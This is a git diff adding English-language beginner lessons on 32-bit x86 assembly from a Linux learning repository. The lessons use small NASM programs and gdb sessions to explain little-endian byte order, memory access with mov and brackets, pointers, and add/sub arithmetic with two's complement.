+ - name on left, 0x.. (hex) in middle, decimal on right — same number.
+☐ Single step: si → run one instruction, stop. Then look again → see WHAT CHANGED.
+ - after mov ebx, 8, ebx: 0 → 8. after mov eax, 1, eax: 0 → 1.
+☐ eip = the box holding the address of the next instruction (the worker's "where").
+ - x/i $eip → show the next instruction. the => pointer shows the worker's position.
+☐ Copy proof (kopya.asm): after mov ebx, eax, ebx=7 BUT eax still 7 → the source doesn't empty out.
+☐ Rule: if an instruction isn't understood → watch with starti + si + info registers in gdb.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — Where the `cikis.asm` we watched and the `mov` came from
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — What the boxes (registers) we looked inside actually are
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The worker's "fetch-do-advance" loop; eip is the box for that "advance"
+
+---
+
+**Previous topic:** [06_ilk_gercek_program.md](./06_ilk_gercek_program.md)
+**Next topic:** 08_mov_ve_bellek.md 🚧 *(being written)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md b/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md
new file mode 100644
index 0000000..6890839
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md
@@ -0,0 +1,98 @@
+# 🔄 x86 Assembly — Little-Endian: When You Look at Memory Byte by Byte
+
+> In 08 we looked at memory with `x/1dw` and saw a tidy `42`, `99`. But back in 04 we left a debt: we said a big number is spread across memory as **several bytes** — so in what *order* are those bytes laid out, one by one?
+> Here's the short surprise that makes everyone pause the first time they see it. A little side lesson; but if you don't know this, later on when you look at raw memory you'll be confused.
+
+---
+
+## First, the Familiar 42
+
+Recall the `sayi: dd 42` from 08. When we looked at it in gdb as "a single dword" (`x/1dw`), we saw `42`. Now let's look at the same spot **byte by byte**. The command: `x/4xb` = "show 4 bytes, in hexadecimal" (`x` examine, `4` four of them, `x` hex, `b` byte):
+
+```
+(gdb) x/1dw &sayi # as a single dword
+0x804a000: 42
+
+(gdb) x/4xb &sayi # byte by byte
+0x804a000: 0x2a 0x00 0x00 0x00
+```
+
+`42` is `0x2a` in hexadecimal (from 03). The four bytes of memory: `2a 00 00 00`. At first glance quite normal — "42 at the very front, the rest empty (zero)." Seems fine. But this example is a bit **blind** — because three bytes are zero, the oddness of the order doesn't show. To actually see the order, we need a number whose four bytes are all **filled**.
+
+---
+
+## Now a Clear Example: `0x12345678`
+
+Let's put a number in memory whose every byte is **different** (hex from 03): `b: dd 0x12345678`. The four bytes of this number are obvious: `12`, `34`, `56`, `78`. Let's look in gdb:
+
+```
+(gdb) x/1xw &b # single dword (hex)
+0x804a004: 0x12345678
+
+(gdb) x/4xb &b # byte by byte
+0x804a004: 0x78 0x56 0x34 0x12
+```
+
+**Here's the surprise.** Above we wrote `dd 0x12345678`; when gdb is asked for "a single dword" (`x/1xw`) it neatly shows `0x12345678`. But looking at memory **byte by byte**, the order is:
+
+```
+ What you wrote: 12 34 56 78
+ In memory: 78 56 34 12 ← exactly REVERSED!
+```
+
+The number is laid out **backwards** in memory. Not a typo — this is the machine's rule. Its name: **little-endian.**
+
+> 🔑 A multi-byte number is written to memory **byte by byte, backwards**: `0x12345678` → in memory `78 56 34 12`. `x/1dw` reassembles it correctly for you and shows it; but looking byte by byte (`x/4xb`) you see it reversed.
+
+---
+
+## Why "Little" (Little End First)?
+
+The rule isn't really "backwards" — it has a consistent logic: **the least significant byte goes to the smallest address (the very front).**
+
+Break `0x12345678` into parts:
+- `0x78` → the number's **least significant** end (the rightmost, like the "ones place").
+- `0x12` → its **most significant** end (the leftmost).
+
+Little-endian puts the number's **little end first** — that's why `0x78` is at the very front and `0x12` is at the very end. The name comes from this: *little-endian* = "little end first." (There's also the opposite — *big-endian* machines that put the big end first — but your x86 machine is little-endian; in this course you'll always see that.)
+
+> 💡 **You might be wondering:** *"Why such a weird rule? Wouldn't it be fine to just write it straight?"* Both (little/big) have historical and technical reasons, and which one is "right" is an old debate — so much so that even the name comes from a joke: in *Gulliver's Travels*, the "Little-Endians" and "Big-Endians" who go to war over whether to crack an egg from its pointy end or its blunt end. That is, even engineers laughed so hard at the "which end first" quarrel that they named it after that. The practical upshot for you is just one thing: **x86 = little-endian, little end first.**
+
+---
+
+## Why Is Knowing This Important?
+
+Because it has two faces:
+- If you tell gdb (or some other tool) "show this as a **number**" (`x/1dw`, `x/1xw`), it reassembles those bytes in the right order for you — **you notice nothing.**
+- But if you look at memory as **raw bytes** (`x/4xb`), or you **write out a number byte by byte yourself**, the order flips — and if you don't know this, you'll be baffled for hours over "why did I get `78563412` when I expected `12345678`?"
+
+So little-endian is a small but frequently useful fact to keep in your pocket: "the machine writes numbers to memory from the little end." Every time you look at raw memory (and later, when you split an address into bytes by hand), this rule will show up.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A multi-byte number is laid out in memory LITTLE-ENDIAN: least significant byte at the very front (smallest address).
+ - 0x12345678 → in memory: 78 56 34 12 (exactly reversed)
+ - 42 (0x2a) → in memory: 2a 00 00 00 (2a in front; the zeros hide the reversal)
+☐ x/1dw (looking at it as a single number) → gdb REASSEMBLES in the right order, you don't see the reversal.
+ x/4xb (looking byte by byte) → you see the raw form: REVERSED.
+☐ Name: little end first = little-endian. x86 = ALWAYS little-endian. (big-endian also exists; not here.)
+☐ Practical: when looking at raw memory / splitting a number into bytes by hand, the order is reversed — don't forget it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — The lesson where we learned to look at memory (`x`) and to put numbers in with `dd`
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the "a big number = several consecutive boxes" debt was incurred; here's the layout order
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The concepts of byte, hex, and "least/most significant digit"
+
+---
+
+**Previous topic:** [08_mov_ve_bellek.md](./08_mov_ve_bellek.md)
+**Next topic:** 09_aritmetik.md 🚧 *(in progress)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md b/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
new file mode 100644
index 0000000..9f45fe1
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
@@ -0,0 +1,264 @@
+# 🗂️ x86 Assembly — mov and Memory: Reaching Into Boxes with `[...]`
+
+> In 04 we sketched the worker's **warehouse–pocket dance**: FETCH (from memory to pocket), PROCESS (in the pocket), DROP (from pocket to memory). But back then we said "we'll see the real instructions in Unit 1."
+> This is that moment: in this lesson we do **FETCH** and **DROP** with a real instruction — again `mov`.
+
+> And in 04 we planted a seed: *one box can hold the address of another box* (a pointer). We said "we're leaving actually following it to 08."
+> Today we keep that promise too: for the first time you'll **follow a pointer** and grab the value at the place it points to. The only new thing is a small mark: **`[...]`**.
+
+---
+
+## 📋 Table of Contents
+
+- [`[...]`: The Box at an Address](#-the-box-at-an-address)
+- [Putting a Box in Memory: `section .data`](#putting-a-box-in-memory-section-data)
+- [FETCH: From Memory to a Register](#fetch-from-memory-to-a-register)
+- [DROP: From a Register to Memory](#drop-from-a-register-to-memory)
+- [Your First Pointer Follow](#your-first-pointer-follow)
+
+---
+
+## `[...]`: The Box at an Address
+
+So far you've seen two forms of `mov` (06): `mov eax, 5` (a number into a box) and `mov ebx, eax` (box to box). In both, the source and destination were **registers** — boxes in the worker's pocket. But most of the work sits in the **warehouse** (in memory); how do we reach out there?
+
+The answer is a single mark: **square brackets, `[...]`.** The rule is this simple:
+
+- A number/name without brackets → **the value itself.** `mov eax, 5` = "put 5 into eax."
+- Inside brackets → **"the contents of the box at that address."** `mov eax, [5]` = "**go to box number 5**, put the value there into eax."
+
+This is the real-instruction form of the address/value distinction from 04. The brackets are the way to tell the worker "this is an address — go there, take what's there." Think of the brackets as a "→ go there" arrow: `[number]` = "go to the *place number points to*."
+
+A warning: the `[5]` here only shows the **idea** — 5 isn't a real address that belongs to you. Don't try to run this on its own in a program; the kernel will say "that's not yours" and stop the program. In a moment we'll actually do the same job with `[number]` over an *allowed* address.
+
+> 🔑 `[...]` = "this is an address, go there and use the value there." Without brackets = the value itself; with brackets = the contents of the box at that address. This is the instruction-level counterpart of the address/value distinction from 04.
+
+---
+
+## Putting a Box in Memory: `section .data`
+
+To be able to read from memory, we first need to have **something** in memory. So far our programs used only `section .text` (the code section). To put our data, there's a second section: **`section .data`.**
+
+```nasm
+section .data
+ sayi: dd 42
+```
+
+Line by line:
+- `section .data` → "from here on it's **data**, not code."
+- `sayi:` → the **label** (name) we tack onto the box we put in memory. Actually `sayi` is the **address** of that box — we give it a readable name so you don't have to memorize the numeric address.
+- `dd 42` → **d**efine **d**word: "make room for 4 bytes (as big as a register; see 04), put 42 inside." (`db` = 1 byte, `dw` = 2 bytes, `dd` = 4 bytes.)
+
+So `sayi: dd 42` means **a 4-byte box named "sayi" with 42 written inside** in memory. Now when you write `[sayi]` in the code, the worker will understand "go to sayi's address, take the value there."
+
+> 💡 **You might be wondering:** *"You said `sayi` is an address, but I wrote `42` — which is it?"* They're two separate things, just like in 04: `sayi` is the box's **place** (address), `42` is the box's **contents** (value). If you write `sayi` in the code you mean the address, if you write `[sayi]` you mean the 42 inside. In a moment we'll see both in gdb — the address is a big number, the value is 42.
+
+---
+
+## FETCH: From Memory to a Register
+
+The **FETCH** step of 04: pull a box from the warehouse into the pocket. The real instruction:
+
+```nasm
+mov eax, [sayi] ; "go to sayi's address, put the value there into eax"
+```
+
+Let's try it with a full program. `bellek.asm`:
+
+```nasm
+section .data
+ sayi: dd 42
+
+section .text
+ global _start
+
+_start:
+ mov eax, [sayi] ; FETCH: read from memory → eax = 42
+ mov dword [sayi], 99 ; DROP: write to memory → sayi is now 99
+ mov eax, [sayi] ; read again (proof) → eax = 99
+ mov ebx, eax ; the result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
+Assemble and open in gdb (the habit from 07):
+
+```
+nasm -f elf32 bellek.asm -o bellek.o
+ld -m elf_i386 bellek.o -o bellek
+gdb ./bellek
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+This time we won't just look at a register, but at **memory itself**. The command to look at a memory box is **`x`** (*examine*): `x/1dw &sayi` = "show 1 dword at sayi's address in decimal." (`&sayi` = "sayi's address"; `d` = show in decimal; `w` = **a 4-byte dword**.)
+
+> 💡 **Don't mix it up:** the `w` here is the **same letter but a different dictionary** than the `dw` in `section .data`. In NASM, `dw` = 2 bytes; in gdb's `x/…w`, `w` = **4 bytes** (dword). Same letter, two tools, two sizes — here it shows 4 bytes.
+
+```
+(gdb) info registers eax
+(gdb) x/1dw &sayi
+```
+
+The real output — before any instruction has run yet:
+
+```
+eax 0x0 0
+0x804a000: 42
+```
+
+`eax` is still `0` (no loading has happened), but **`sayi` in memory** is already `42` — because we put it there with `dd 42`. The `0x804a000` on the left is sayi's **address** (we'll use that big number in a moment on the pointer tour).
+
+Now run `mov eax, [sayi]`:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+
+```
+eax 0x2a 42
+```
+
+**That's FETCH.** `eax` is now `42` (`0x2a`, from 03: the hexadecimal of 42) — the value came from memory into the pocket. The "pull from warehouse into pocket" step we drew as a Turkish draft in 04, you've now done for the first time with a real instruction.
+
+---
+
+## DROP: From a Register to Memory
+
+Now the reverse direction — the **DROP** step of 04: put a value from the pocket (or from our hand) into the warehouse. The destination is bracketed (an address), the source is the value:
+
+```nasm
+mov dword [sayi], 99 ; "write 99 to sayi's address"
+```
+
+The `dword` here is a small but necessary detail: when writing **a number directly** (99) into memory, the worker can't know "how many bytes should I write — 1 or 4?" (99 fits in all of them). `dword` tells it "write 4 bytes." (If the source were a register — `mov [sayi], eax` — you wouldn't need to write this, since a register is already 4 bytes.)
+
+Continue in gdb from where we left off — do one `si`, then look at **memory**:
+
+```
+(gdb) si
+(gdb) x/1dw &sayi
+```
+
+```
+0x804a000: 99
+```
+
+**That's DROP.** The memory box that was `42` a moment ago is now `99`. You saw with your own eyes that you changed memory *itself* — not a register, but a box in the warehouse. Let's read it one more time as proof (`mov eax, [sayi]`):
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+
+```
+eax 0x63 99
+```
+
+`eax` is `99` this time, not `42` (`0x63`) — because 99 is now written in memory. FETCH → DROP → FETCH again: you've spun 04's dance from start to finish with real instructions. (When the program ends, `echo $?` — in fish: `echo $status` — says **99**; because on exit the 99 we put into `ebx` is read.)
+
+> 💡 Forward note: with `x/1dw` we looked at memory as "one big number" and saw a clean `42`/`99`. But how those 4 bytes are laid out in memory *one by one* — which byte comes first? — has its own peculiar rule that seems strange at first glance. We'll open up this "exactly reversed" surprise in the next short lesson ([08.5_little_endian](./08.5_little_endian.md)) by looking at memory byte by byte. For now, "`[sayi]` = the value there" is enough.
+
+---
+
+## Your First Pointer Follow
+
+Now we make 04's most powerful seed bloom. There we said: a box can hold, instead of the actual data, **where the actual data is** (its address) — we called this a **pointer** (like a coat-check ticket: the ticket isn't your coat, it tells you the *location* of your coat). And we drew that "go to the place someone points to" is two steps. Now we take those two steps with a real instruction.
+
+The key idea: a **register** can hold an address inside it. If it does, that register is a pointer — and with `[...]` we can *follow* it. `pointer.asm`:
+
+```nasm
+section .data
+ sayi: dd 42
+
+section .text
+ global _start
+
+_start:
+ mov ebx, sayi ; ebx = sayi's ADDRESS (NO brackets → not the value, the address)
+ mov eax, [ebx] ; go to the place ebx points to, take what's there into eax
+ mov ebx, eax ; the result into the exit code (ebx's pointer duty is done)
+ mov eax, 1
+ int 0x80
+```
+
+Pay attention to two instructions, because the whole lesson is in these two:
+- `mov ebx, sayi` → **no brackets.** So put sayi's **address** into ebx. Now ebx is a pointer — inside it is not a value, but a *place*.
+- `mov eax, [ebx]` → **with brackets.** "Go to the address inside ebx, take the value there." That is, **follow** the pointer.
+
+Assemble, watch in gdb:
+
+```
+nasm -f elf32 pointer.asm -o pointer.o
+ld -m elf_i386 pointer.o -o pointer
+gdb ./pointer
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # mov ebx, sayi
+(gdb) info registers ebx eax
+```
+
+The real output:
+
+```
+ebx 0x804a000 134520832
+eax 0x0 0
+```
+
+**Look inside `ebx`:** `0x804a000` — a big number, but not a **value**, sayi's **address** (its place in memory). `eax` is still 0. ebx is now a pointer: it holds not 42, but *where* 42 is. Exactly the "box 5 points to box 12" picture from 04 — here ebx points to sayi.
+
+Now follow the pointer:
+
+```
+(gdb) si # mov eax, [ebx]
+(gdb) info registers ebx eax
+```
+
+```
+ebx 0x804a000 134520832
+eax 0x2a 42
+```
+
+**That's a pointer follow.** `eax` became `42` — but we didn't write this 42 directly; we *went to the address ebx points to* and took it from there. `ebx` still holds the address (unchanged), while `eax` holds the value at that address. In 04 we said "first look at box 5 (12 inside it), read that 12 as an address, go to box 12 (the actual value is there)" — that's exactly what you did, with real instructions. (`echo $?` → **42**.)
+
+> 🔑 A pointer = a register that holds an address. `mov ebx, sayi` (no brackets) puts the **address** into ebx; `mov eax, [ebx]` (with brackets) goes to that address and takes the **value** — that is, it *follows* the pointer. The difference is a single pair of square brackets.
+
+> 💡 **You might be wondering:** *"`mov eax, [sayi]` already gave 42. Why do I need `mov ebx, sayi` + `mov eax, [ebx]` — two instructions for the same result?"* In this example, yes, it's the same. But the difference is this: in `[sayi]` the address is **embedded/fixed in the code.** In a pointer, the address is in a **register**, that is, *changeable* — you can put another address into ebx and reach a completely different box with the same `[ebx]` instruction. Walking through an array, carrying big data from hand to hand by its address (04) — all of it happens with this. Fixed `[sayi]` is a single door; `[ebx]` is the key that **opens whichever door you want**.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ [...] = "this is an address, go there, use the value there." (04's address/value distinction, in an instruction.)
+ - mov eax, 5 → 5 into eax (value)
+ - mov eax, [5] → the contents of box NUMBER 5 into eax
+☐ section .data + label = putting a named box in memory.
+ - sayi: dd 42 → a 4-byte box named "sayi", 42 inside. (db=1, dw=2, dd=4 bytes)
+ - sayi = address (the box's place) · [sayi] = value (the box's contents).
+☐ FETCH (memory → register): mov eax, [sayi] → eax = the value in memory (42).
+☐ DROP (register/value → memory): mov dword [sayi], 99 → write to memory.
+ - When writing a number DIRECTLY to memory, state the size: dword (4 bytes). Not needed if the source is a register.
+☐ Look at memory in gdb: x/1dw &sayi → show the dword at that address. (&sayi = sayi's address)
+☐ POINTER = a register that holds an address.
+ - mov ebx, sayi (no brackets) → ebx = ADDRESS (pointer).
+ - mov eax, [ebx] (with brackets) → FOLLOW the pointer → eax = the value at that address (42).
+ - The difference: [sayi]'s address is fixed; [ebx]'s address is in a register → changeable (that's the real power).
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the FETCH→DROP dance and the pointer seed (address/value) were drawn; this lesson is its real instructions
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — The first (register-to-register) form of `mov`
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The tool we used here to look live at memory (`x`) and registers
+- 09_aritmetik.md 🚧 *(being written)* — The "PROCESS" step: no longer just moving, but doing arithmetic with the numbers you move
+
+---
+
+**Previous topic:** [07_gdb_tek_adim.md](./07_gdb_tek_adim.md)
+**Next topic:** [08.5_little_endian.md](./08.5_little_endian.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md b/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md
new file mode 100644
index 0000000..8c679ec
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/09_aritmetik.md
@@ -0,0 +1,365 @@
+# ➕ x86 Assembly — Arithmetic: `add`, `sub`, and the Secret of Negative Numbers
+
+> In 04 we sketched the worker's dance: **FETCH** (from storage to the pocket) → **WORK** (compute in the pocket) → **DROP** (from the pocket back to storage).
+> In 08 we did **FETCH** and **DROP** with the real `mov` instruction — but the middle step, **WORK**, stayed empty: we kept moving things around, never actually *computing.*
+> That missing piece gets filled in this lesson. With `add` and `sub` you make the machine do a **calculation** for the first time; then we pay off a debt we left in 06 — "how do negative numbers fit into a byte?"
+
+> **This lesson has code, and we run all of it.** Every program and every GDB output below is real: I assembled and ran them on my own machine, and the numbers you see are not made up.
+
+---
+
+## 📋 Table of Contents
+
+- [`add`: The Worker's Add Order](#add-the-workers-add-order)
+- [The First Calculation Program](#the-first-calculation-program)
+- [Watch It in GDB: Addition Live](#watch-it-in-gdb-addition-live)
+- [`sub`: Subtraction](#sub-subtraction)
+- [`inc` / `dec`: Add One, Subtract One](#inc--dec-add-one-subtract-one)
+- [The Secret of Negative Numbers: Two's Complement](#the-secret-of-negative-numbers-twos-complement)
+- [The Whole Dance: FETCH → WORK → DROP](#the-whole-dance-fetch--work--drop)
+
+---
+
+## `add`: The Worker's Add Order
+
+In 01, when we looked at the kinds of orders the worker can take, we put "**compute**" in second place. The most basic one is addition, and its real name is `add` (English *add*, "to add").
+
+Its spelling looks a lot like `mov` — it takes two boxes:
+
+```nasm
+add destination, source ; "into destination, ADD source"
+```
+
+But there's one difference from `mov`, and the whole point is in that difference:
+
+- `mov eax, 3` → eax's old value is **erased**, and 3 takes its place. (*puts*)
+- `add eax, 3` → eax's old value **stays**, and 3 is added on top. (*adds*)
+
+So `add` doesn't zero out the target; it puts it **on top of what's already there**. If eax holds 5 and you say `add eax, 3`, eax now becomes 8 (5 + 3). This is the most basic form of 04's **WORK** step.
+
+> 🔑 `add destination, source` = "destination = destination + source." Unlike `mov`, it doesn't erase the old value, it adds on top. `mov` puts, `add` accumulates.
+
+---
+
+## The First Calculation Program
+
+Now let's make the machine do an addition for the first time. `topla.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5 ; eax = 5
+ add eax, 3 ; eax = 5 + 3 = 8
+ mov ebx, eax ; result into the exit code
+ mov eax, 1
+ int 0x80
+```
+
+You can now read every one of these lines: `mov eax, 5` puts down the five, `add eax, 3` adds three on top (eax = 8), `mov ebx, eax` moves the result into the exit code. Assemble, link, and run with the familiar chain:
+
+```
+nasm -f elf32 topla.asm -o topla.o
+ld -m elf_i386 topla.o -o topla
+./topla
+echo $?
+```
+
+What you'll see (in the fish shell, `echo $status`):
+
+```
+8
+```
+
+**There's your first calculation.** You didn't write this `8` directly — the machine did `5 + 3` *itself.* In 06 you were *telling* the machine a number; now you're making it *perform* an operation.
+
+---
+
+## Watch It in GDB: Addition Live
+
+Recall from 06 the "difference between knowing and seeing." Let's watch with our own eyes how `add` changes eax (the habit from 07):
+
+```
+gdb ./topla
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+First run `mov eax, 5`, then look at eax:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+```
+eax 0x5 5
+```
+
+`eax` is now `5`. Now for the main event — `add eax, 3`:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+```
+eax 0x8 8
+```
+
+**There's WORK.** `eax` went from `5` to `8` — the machine added right before your eyes. `add` didn't erase the old 5; it added 3 on top. The "compute in the pocket" step we sketched as a rough draft in 04 you've now done for the first time with a real instruction.
+
+---
+
+## `sub`: Subtraction
+
+Subtraction is addition's sibling: `sub` (English *subtract*). The rule is exactly the same, it just subtracts instead of adds:
+
+```nasm
+sub destination, source ; "destination = destination − source"
+```
+
+`cikar.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 10 ; eax = 10
+ sub eax, 4 ; eax = 10 − 4 = 6
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Assemble, link, run, `echo $?`:
+
+```
+6
+```
+
+`10 − 4 = 6`. `add` and `sub` — the worker's two basic calculations. Both follow the same template: "update the target with the source." Addition accumulates, subtraction diminishes.
+
+> 💡 While doing `add`/`sub`, the worker also keeps little notes on the side: "did the result come out zero? did it overflow?" and so on. These notes are called **flags** (*flag*), and we're ignoring them for now — but in the next lesson (10) they'll be the foundation of every *decision* (if, loop). For now, "add adds, sub subtracts" is enough.
+
+---
+
+## `inc` / `dec`: Add One, Subtract One
+
+Two more tiny instructions you'll need very often — to increase or decrease a number by **exactly 1**:
+
+- `inc destination` → increase the target by 1 (*increment*). `inc eax` does the same job as `add eax, 1`.
+- `dec destination` → decrease the target by 1 (*decrement*). `dec eax` = `sub eax, 1`.
+
+`incdec.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7 ; 7
+ inc eax ; 8
+ inc eax ; 9
+ dec eax ; 8
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+8
+```
+
+`7 → 8 → 9 → 8`. Why a separate instruction? Because "counting one by one" is so common (especially in loops) that the machine gave it a shortcut. While advancing a counter you'll see `inc` constantly.
+
+---
+
+## The Secret of Negative Numbers: Two's Complement
+
+Now we keep the promise we made in 06. There, when we did `mov ebx, -5`, we saw `echo $?` say **251**, and we said "we'll explain how in 09." Here we are in 09.
+
+Let's state the question clearly first. `sub` subtracts — but what happens if the result drops below zero? Let's try. `eksi.asm`: `5 − 8`, that is **−3**.
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5
+ sub eax, 8 ; eax = 5 − 8 = −3 ... but how does a negative fit in a byte?
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+253
+```
+
+**There's the puzzle.** We expected `−3` but got `253`. Asking GDB opens the secret a bit:
+
+```
+(gdb) si # mov eax, 5
+(gdb) si # sub eax, 8
+(gdb) info registers eax
+```
+```
+eax 0xfffffffd -3
+```
+
+Look how nicely: GDB shows `eax` both in its raw form (`0xfffffffd`) and as "this is actually **−3**." So the machine holds `−3` in its memory as `0xFFFFFFFD`. But why does this number mean `−3`?
+
+### Think of it like an odometer
+
+When a car's odometer is at `000` and you go **back** one, what happens? It rolls over to `999`. That's exactly the machine's negative logic: **one back from 0 = the very top.**
+
+For a single byte (0–255):
+
+```
+ 0 − 1 → 255 (that is, 255 means "−1")
+ 0 − 2 → 254 ( "−2")
+ 0 − 3 → 253 ( "−3") ← our result!
+```
+
+Just as a number wraps from the bottom when it overflows upward (06: `300 → 44`), when it overflows downward into the negatives it wraps from the **top**. `5 − 8` gives `253`, which corresponds to `−3`. The `−5 → 251` in 06 is exactly this: `−5` = `256 − 5` = `251`.
+
+### The recipe: flip the bits, add 1
+
+There's a short way to produce a number's negative — **flip all the bits, then add 1.** For `3` (as a byte):
+
+```
+ 3 = 0000 0011
+ bits flipped = 1111 1100 (0xFC)
+ + 1 = 1111 1101 (0xFD = 253 = −3)
+```
+
+So the byte form of `−3` is `0xFD` (253). In 32 bits the same trick is written longer: `0xFFFFFFFD` — exactly what GDB showed above. The name of this "flip + add 1" trick is **two's complement**.
+
+### Why is it so clever? Because there's no such thing as subtraction
+
+Here's the beautiful part, and the peak of 01's theme that "the machine is actually very simple": the machine has **no** separate "subtraction circuit." Subtraction is just **adding the negative.** `5 − 3`, in the machine's eyes, is `5 + (−3)`.
+
+Let's prove it. We said the byte form of `−3` is `253` (in 32 bits, `0xFFFFFFFD`). Then, instead of `5 − 3`, if we directly **add** `0xFFFFFFFD` to `5`, we should also get `2`. `negekle.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5
+ add eax, 0xFFFFFFFD ; 5 + (−3 in two's complement form)
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+2
+```
+
+**There's the proof.** We didn't write `sub eax, 3` — we added `−3` with `add`, and `5 − 3 = 2` came out. So `sub`, behind the curtain, is nothing more than "add the negative." The machine both adds and subtracts with a single addition circuit; two's complement is the trick that makes it possible.
+
+> 🔑 The machine holds a negative number with **two's complement**: flip the bits + add 1 (`−3` → `0xFD`/`0xFFFFFFFD`). A number that overflows downward wraps from the top (`0−3 → 253`), just like an odometer — this is the answer to the `−5 → 251` puzzle from 06. And the real beauty: subtraction isn't a separate job, it's just **adding the negative** — the machine does both with a single addition circuit.
+
+> 💡 **You might be wondering:** *"How does the machine know whether `253` is `−3` or really `253`?"* It doesn't — and this should feel familiar, because it's [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md) itself: the same bit sequence is `253` in one instruction's eyes and `−3` in another's. The difference is decided by the instruction that says whether to read the number as **signed or unsigned** (GDB, in saying "−3" above, chose the signed reading). The same number, two meanings; the meaning is again given by the code.
+
+---
+
+## The Whole Dance: FETCH → WORK → DROP
+
+Now all three steps are in your hands. In 04 we sketched exactly this task as a rough draft:
+
+```
+ Task: add the number in box 100 to the number in box 200, write the result to box 300.
+ FETCH: box 100 → EAX
+ WORK : add box 200 on top
+ DROP : write the result back to the box
+```
+
+Back then we said "we'll see the real instructions later." Here they all are, ready. `dans.asm`:
+
+```nasm
+section .data
+ a: dd 100
+ b: dd 200
+ sonuc: dd 0
+
+section .text
+ global _start
+
+_start:
+ mov eax, [a] ; FETCH: pull a into the pocket (eax = 100)
+ add eax, [b] ; WORK : add b on top (eax = 300)
+ mov [sonuc], eax ; DROP : drop the result into storage
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+A small nicety: in `add eax, [b]` we read the operand **directly from memory** — without first pulling it into the pocket with a separate `mov`. In 04 we made an honest note that "x86 sometimes allows a shortcut, you can touch a memory box directly" — well, this is that shortcut.
+
+Let's watch the dance step by step in GDB:
+
+```
+gdb ./dans
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # FETCH mov eax, [a]
+(gdb) si # WORK add eax, [b]
+(gdb) si # DROP mov [sonuc], eax
+(gdb) x/1dw &sonuc
+```
+
+The real output, step by step:
+
+```
+FETCH → eax = 100 (a came from memory into the pocket)
+WORK → eax = 300 (b added on top: 100 + 200)
+DROP → x/1dw &sonuc = 300 (result written to storage)
+```
+
+**There's the whole dance.** That picture we sketched from afar in 04 — pull from storage, add in the pocket, drop back to storage — has now turned in your own hands, with real instructions. Everything we called "later" in Unit 0 has come down to here, to a single working program.
+
+> 🔑 `mov [a]` (FETCH) → `add [b]` (WORK) → `mov [sonuc]` (DROP): the whole fetch-work-drop dance of 04, with real instructions. A program is most often a repetition of this skeleton: pull the data, compute on it, store the result.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ add destination, source = destination + source → destination. (mov PUTS, add ADDS: doesn't erase the old, piles on top.)
+ - mov eax,5 + add eax,3 → eax = 8. (the WORK step: 04's missing piece)
+☐ sub destination, source = destination − source → destination. (10 − 4 = 6.)
+☐ inc / dec = increase / decrease by exactly 1. inc eax ≡ add eax,1 ; dec eax ≡ sub eax,1. (common in counters.)
+☐ Negative numbers = TWO'S COMPLEMENT: flip the bits + add 1. −3 → 0xFD (byte) / 0xFFFFFFFD (32-bit).
+ - Downward overflow wraps from the top: 0−3 → 253. (the answer to 06's −5→251.) Since the exit code is a byte, 5−8 → 253.
+ - Subtraction is NOT a separate job: sub = "add the negative." The machine does both with a single addition circuit.
+ Proof: add eax, 0xFFFFFFFD (i.e. +(−3)) → 2 comes out of 5.
+☐ add/sub also keep "flags" on the side (is it zero, did it overflow) → the foundation of decisions, in lesson 10.
+☐ The whole dance (dans.asm): mov [a] (FETCH) → add [b] (WORK) → mov [sonuc] (DROP) → sonuc = 300.
+ 04's 100+200→300 example, now real and working. This is the skeleton of programs.
+```
+
+---
+
